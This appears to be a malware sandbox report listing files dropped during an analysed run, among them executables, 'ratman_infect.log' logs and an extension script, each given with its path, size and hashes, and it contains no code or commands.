Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter
Size 392B
SHA256 7d07bd398ea538c1270339098bc487d73fca20c2eb094326bf37a494d4a93559
MD5 210d8cc08d7981fe1192945dfe4c1113
SHA1 5794a0094b544db9c0d15fb435e5e163eaf20e2b
SHA512 3801fedd1ef9654a6426d88cd07019afdb949372afcfb68fc54c4f1594cb5ba11734ee3cd71dbae72f8baed44f2ca3373b9853cdd54ac68764df123f8d15e5fa
MD5 SHA1 SHA512

Submit Download

RevisitationBloomfilter~RFe5a4e21.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter~RFe5a4e21.TMP
Size 392B
SHA256 244d81f811349bf1929c9a7209c751401fa1b0345cff7091b04d3ca9209a1396
MD5 5e42c2beec2ce6e2a9a6a840ac7246ac
SHA1 d5443b2de3de964de6dd237681267b6b968f8680
SHA512 2d2ab280a991893772d983a3e25e43885b1380925070290dd75c250d8158b416771fcba5ac818f84889e499517933204d6840afd62731b0eefa42d974c33a57c
MD5 SHA1 SHA512

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 492B
SHA256 55aa4ab756834699189543863036551542c61249184224f927d1681ef15164dd
MD5 c1bec3bc77db46888e279f8b3eeb18fc
SHA1 c2d14f387c796193ddc6378267768745c10dae14
SHA512 8d41fbab8134eec1a95a53d4d56d1d2edb1edced5b2f4987278e5b8f6ac9b169c9928a0c52ebe7a66393caddfa5a29e001890386b54105a8e69958661b40ec35
TLSH
T134F09E808C3E1AC5D6B90F6FE40716FC40D8591670D9287844CEE4A8A47B05B311586D
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 aa807e4f1b970e487ba89b4ed9f5455dfb3acaffb192b8736b7bd0ccf63b8cf5
MD5 880fe67d2d8def8a73d1f09d09f8f2ff
SHA1 adad7fdd0652919461f89bfe36b449081489052b
SHA512 dec205f202a88afbf96f8015158638483f643ad02a9549b9eaef405a32a1ef2b2cf9c9480d70ccb43ef9ce64818827c6fe3cd27267f657cc33cb6ace9619d87a
TLSH
T18CD02B80043D0A82CFA50A5EE41749F810C44918759C197804CDA4D5501A067315881D
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 dc86dff8fbd3b224794d65e8c0974ffa3b17c53a934c92f82e938e524fe823dd
MD5 80c2dfaf9affc09798a4976ae70f1b0b
SHA1 80daf1112206b189525aa4f5b380fbbba97b583a
SHA512 be5ed753856621e4dc5b64324872539291704bf5d2a415ac993b5f475db90e958544f281ac36d3e17af93c554895ceeaccf6fa9b0839d21c60a38443b2081876
TLSH
T15FE06880883D0EC2EBB60A5FE40706FC40C8491AB498187804CEF899A03B0973115C7D
MD5 SHA1 SHA512 TLSH

Submit Download

5de23d74-cf45-4ce6-aa00-3318099a7f63.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\5de23d74-cf45-4ce6-aa00-3318099a7f63.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

BK279399.exe

Path C:\Users\Admin\AppData\Local\Temp\BK279399.exe
Size 12.1MB
SHA256 6cd8b8a84193c3c2721cffa073da5657519cfb6a726dbb2cd8cb429b1ea645b2
MD5 12c3a9c35697edd9a7bec5afa471458f
SHA1 ddcf580965b3f789d11ea0b0abf15f2973e660af
SHA512 3a0561a52a1b56ab982f9acce17ba26b7a19e2658584ceec1bb7948c36d7782190e1cf9a447fd9b7fdb23b6d3a06c40ce08d92eaba148eacbf2793a86d85a654
SSDEEP 196608:bd/A6kDzLPyiDVnZEyFTCoG+3CpMIi3wcOa5B7tK6CxD:Z/vs6kJFTq8CpMIigcOiE6CxD
TLSH
T1EAD6AE56E2FD00E8D4BAC0B8C6574617EBB234551330A7EB56A08A692F37FE16E7D310
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ratman_infect.log

Path C:\Users\Admin\AppData\Local\Temp\ratman_infect.log
Size 1KB
SHA256 cb4c552920a23fd8b9bb9ef5e4e60e482230225283714505e2128fc5ad405687
MD5 55b83f701bdf987b99ae926f5d11d2bf
SHA1 bac2e10999c603a3bc5d9422c3eb0d1bd21ff8ed
SHA512 8676a551a5f6fad513be99921c837a07b120200763bdaf743912496fc9c2d9f8b08738a17c4288468cfcb2c9ed6791f247516b93d0f4e13d33233e29f858760e
TLSH
T15331E1A27CAE91B3368E01641F454ACE7B9966E35985A34D33D840C9E8D0F386F9B943
MD5 SHA1 SHA512 TLSH

Submit Download

ratman_infect.log

Path C:\Users\Admin\AppData\Local\Temp\ratman_infect.log
Size 1KB
SHA256 b265fdeb7f9b5550e61f207a50da8762334602a038665258e3858fd10b556e24
MD5 811c3484d34f6e7126063ace1d7d15e2
SHA1 0432baaea5b7f251332a41c9b0e0f60cb37b6e70
SHA512 acba9f82bd55c0f97e90236ed1929cadd765ea43e84b630846b5380dc5844bd72ab3123890187fb3feeba8fae1a3a945e161b5ec0d06921c7fb8833178801892
TLSH
T1544133A2BCAE91B3368E00641E459ACE7B9927E76DC4674D33D840C9E4D0F389F9B443
MD5 SHA1 SHA512 TLSH

Submit Download

ratman_infect.log

Path C:\Users\Admin\AppData\Local\Temp\ratman_infect.log
Size 581B
SHA256 897ffe767f53dad4d98a66eb6fa7f7e463dedfdb6ce582fc804543bbfe6d5bae
MD5 963acdc89445441104a80e4af6c2d769
SHA1 a678700d3e76889a2c19882cf4cda9fc0e646cb2
SHA512 b0ec7be6fe87a86e262e43adfb0bc74605885a4ef873641f6d34919ba401c65f781d0ac19f64902d1563a1a47af686bc104bacfb122a949b46db4ccd12ba4aa2
TLSH
T154F01922AC188123364B00945F4099CF3F9D26D35A8A424C739882CAE4E0F3867AFA63
MD5 SHA1 SHA512 TLSH

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir6052_1797248658\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ConvertFromReceive.exe

Path C:\Users\Admin\Downloads\ConvertFromReceive.exe
Size 703KB
SHA256 4673504f299b0a5ff7708b0c169cb3011a10e6875d5c431dd57f66c848d4d0c9
MD5 c895e51d6e1d3fb9c3b07870624b0920
SHA1 a2e4a4c41be6df5dd1caf4cff1ec6b5c1332f811
SHA512 6dc08708a5377517b32e6e9ee40bf4d67a34a69af9b986a7cd5827755f10fe1ec0c13cecb49053589134ff977d7af21c7238a3c8e4f8dd52ba68f7c5789ec2be
SSDEEP 12288:2khT5SzBpwRz8C7Ipn+PB/bf1zfP0ACK9SI46rwWFnmdWsM/Om6qL+uCthzTFUlM:2ytS1pmgCJPlbf1zHDCUSLgXs6HtCtpH
TLSH
T1C4E433D9C5190560AF102CDC7294FB166E58A0FC29DD975EE32787F49C0983E86B9E33
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ConvertFromReceive.exe

Path C:\Users\Admin\Downloads\ConvertFromReceive.exe
Size 703KB
SHA256 a357fb968a771d46f507d744179c0e09aff25e4cbd6e944a4e8aeba04406373e
MD5 7b0d9257412026baeaa490101b21786f
SHA1 da514023d58d3c392115e912f3620b2a86a8dae6
SHA512 8c1a86602cb98c35d366a295b1f4a500c5972446a751c2e55c1da2b85a2252a9865519b28e1469ea35d97b6e876462c6bd34f7ae04247331e319959225a871f4
SSDEEP 12288:2khT5SzBpwRz8C7Ipn+PB/bf1zfP0ACK9SI46rwWFnmdWsM/Om6qL+uCthzTFUlj:2ytS1pmgCJPlbf1zHDCUSLgXs6HtCtpK
TLSH
T184E433D9C5190560AF102CDC7294FB266E58A0FC29DD975EE32787F49C0983E86B9E33
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_TransactionBridgePerfCounters.h

Path C:\Windows\INF\MSDTC Bridge 3.0.0.0\_TransactionBridgePerfCounters.h
Size 1KB
SHA256 7841f2dde026f3a99d8b0a464b52e9a0cf0c3b4866dd4ac08407173b4795a554
MD5 31ff18005e90458b7128067ac25f191b
SHA1 625dc23ef608cecf28b18e237710acbd9ea230b6
SHA512 7c9a48ed202d683723f750735e4fa4162d92cb496aa8436cde9762f8a971419d51b6253e57fbb8a7580cb1ba39d292023a46559951de24571f33c83f3c149a6e
TLSH
T1964136C86BD5E61F2A9D7903DE1466961070992F09A0F327638EFECD25C118FE1AD4C8
MD5 SHA1 SHA512 TLSH

Submit Download

outlperf.h

Path C:\Windows\INF\Outlook\outlperf.h
Size 1KB
SHA256 c1b03dfe84120dbc648d57658398ef3966e81b7bff771cd990ff36b5b1cafee2
MD5 bacde346fb9791dce7aa901ed4ee484f
SHA1 6547bfe944de59de6899b2ea96d619807e1dc056
SHA512 40b7222692688da4ada530a5684f19d3196d2e2cfe3d0cbcc887f3595780d930e3d743eb6b60c881ea90dcdcabe81b40ae4cea5dbeb02dd5290bab43bb9ad64f
TLSH
T1743157D86ED2D24F57AC19439E4899961074D67B50A1B34B7B1CFE8C1A9910EC1EECCC
MD5 SHA1 SHA512 TLSH

Submit Download

_SMSvcHostPerfCounters.h

Path C:\Windows\INF\SMSvcHost 3.0.0.0\_SMSvcHostPerfCounters.h
Size 1KB
SHA256 5a31726a9e0f72e7e984c9a89222a69fa837f5c2811145b4ae2cde1fa93fd1f2
MD5 e29fe20464f1425f5bd9ac9341cd848a
SHA1 892036398122296f700b8ddbcf4cd2a6cbc06bdb
SHA512 02e6b2d6a9af77e923e6217932f87d828c10c5a3fec310c836174f5e0ba7a782c5dd01e933c2c12dd4a9c4a25b097abf4c60232103301e673b5404d08a17f462
TLSH
T12D4126C82BE4E50F2B8D2903FD08D9D62125963F41E0B25B539CF99D09E528AC4FDDD8
MD5 SHA1 SHA512 TLSH

Submit Download

_ServiceModelEndpointPerfCounters.h

Path C:\Windows\INF\ServiceModelEndpoint 3.0.0.0\_ServiceModelEndpointPerfCounters.h
Size 2KB
SHA256 16e47d18a4bcf8e950e5d36a92b3456b61129ceeae4a1bc0469c2331c20dcf59
MD5 987da06115d93e6b4badc7e615e5a79f
SHA1 e858a2a649eefe71bbe9a5233b6916d9e8fd1104
SHA512 2f815e6591dd4956cdad5eec3e48f0bf56f737c400136fc65b4426ba8a977d12f22ae44a1624173f4f8b618eb32b1dc9bd6dd080bacba186516365da99c220a2
TLSH
T1FC4138EC2F9AC14F0ECC2593BD1459960066E5AB61807E97335CF84E5C9A327C3EE8D8
MD5 SHA1 SHA512 TLSH

Submit Download

_ServiceModelOperationPerfCounters.h

Path C:\Windows\INF\ServiceModelOperation 3.0.0.0\_ServiceModelOperationPerfCounters.h
Size 2KB
SHA256 bf2b2b50e3bbe02decbf12412970b188c3af6fc73d47d60b6045937ea96904ee
MD5 c1a173f610e9d982b1747bd87d019c62
SHA1 cfc63c4890fc7a237f826c512858107b2377903c
SHA512 bb3573d69c85256d5bf0de843b24c26a1b39bafebf13ffe299bc66a8590da167fbcbbfa0df3e97ace24fd695b117f508f1bdeb74984d180193b763b08f1ae269
TLSH
T12A411DE83B93CACF8A8C5453AD04999600B2E55710C4BF47335CFD9D5DA631EC29D8E9
MD5 SHA1 SHA512 TLSH

Submit Download

_ServiceModelServicePerfCounters.h

Path C:\Windows\INF\ServiceModelService 3.0.0.0\_ServiceModelServicePerfCounters.h
Size 3KB
SHA256 b86f93f5a3eb0c9cf18b0a74cd93338e2e4d803f9a5cadd0b9f326f6133715ef
MD5 51a38f25e4c7f473f58a21b73688fec6
SHA1 f4c6f0c35d899a804fc2f4a100cc4c921eb56bb4
SHA512 359721239eef2a928d9f87474ced6c111856aebaa9af6f103e20ef3c1cb0c82fcc70ed6dd520e7f3baa432bb570899dea18a46170253f72be0c250307ee44e0a
TLSH
T15C51129C3F97C14F6F9C3546790858D60422E5B311626E87735EFA0E5C6E126C3EA8DC
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3536-229-0x0000026D2CDF0000-0x0000026D2CE12000-memory.dmp

Download